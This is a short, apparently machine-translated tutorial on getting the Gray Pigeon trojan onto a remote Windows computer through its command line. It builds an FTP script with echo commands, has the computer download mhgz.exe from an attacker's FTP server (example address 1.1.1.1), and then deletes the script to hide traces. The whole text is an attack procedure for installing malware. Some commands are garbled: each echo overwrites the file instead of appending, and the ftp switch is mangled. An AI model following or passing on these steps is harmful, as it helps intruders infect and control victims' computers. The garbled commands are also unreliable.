In the CMD environment of a remote computer, if files cannot be transmitted through the IPC $ channel, only files can be downloaded through FTP.
Assume that we already have an ftpserver and a gray pigeon Trojan file mhgz.exe. We should know three parameters of the FTP server:
1. IP address of the FTP server, for example, 1.1.1.1
2. FTP Server Username: for example, test
3. password of the FTP server, for example, test123
Enter the following commands in the CMD mode of the remote computer:
1. Echo open 1.1.1.1> test.txt log on to the FTP server
2. Echo test> test.txt User Name
3. Echo test123> test.txt Password
4. Echo bin> test.txt
5. Echo get mhgz.exe> test.txt download the gray pigeon Trojan
6. Echo bye> test.txt disable the FTP server
After the Upload Command is input, a test.txt file will be generated on the remote computer with the following content:
Open 1.1.1.1
Test
Test123
Bin
Get mhgz.exe
Bye
Run the following command on the remote computer:
FTP-S: test.txt is intended to read the scripts in test.txt and execute the ftpcommand. After the command is executed, the gray pigeon Trojan file mhgz.exe will be downloaded to the other computer.
Del c: \ test.txt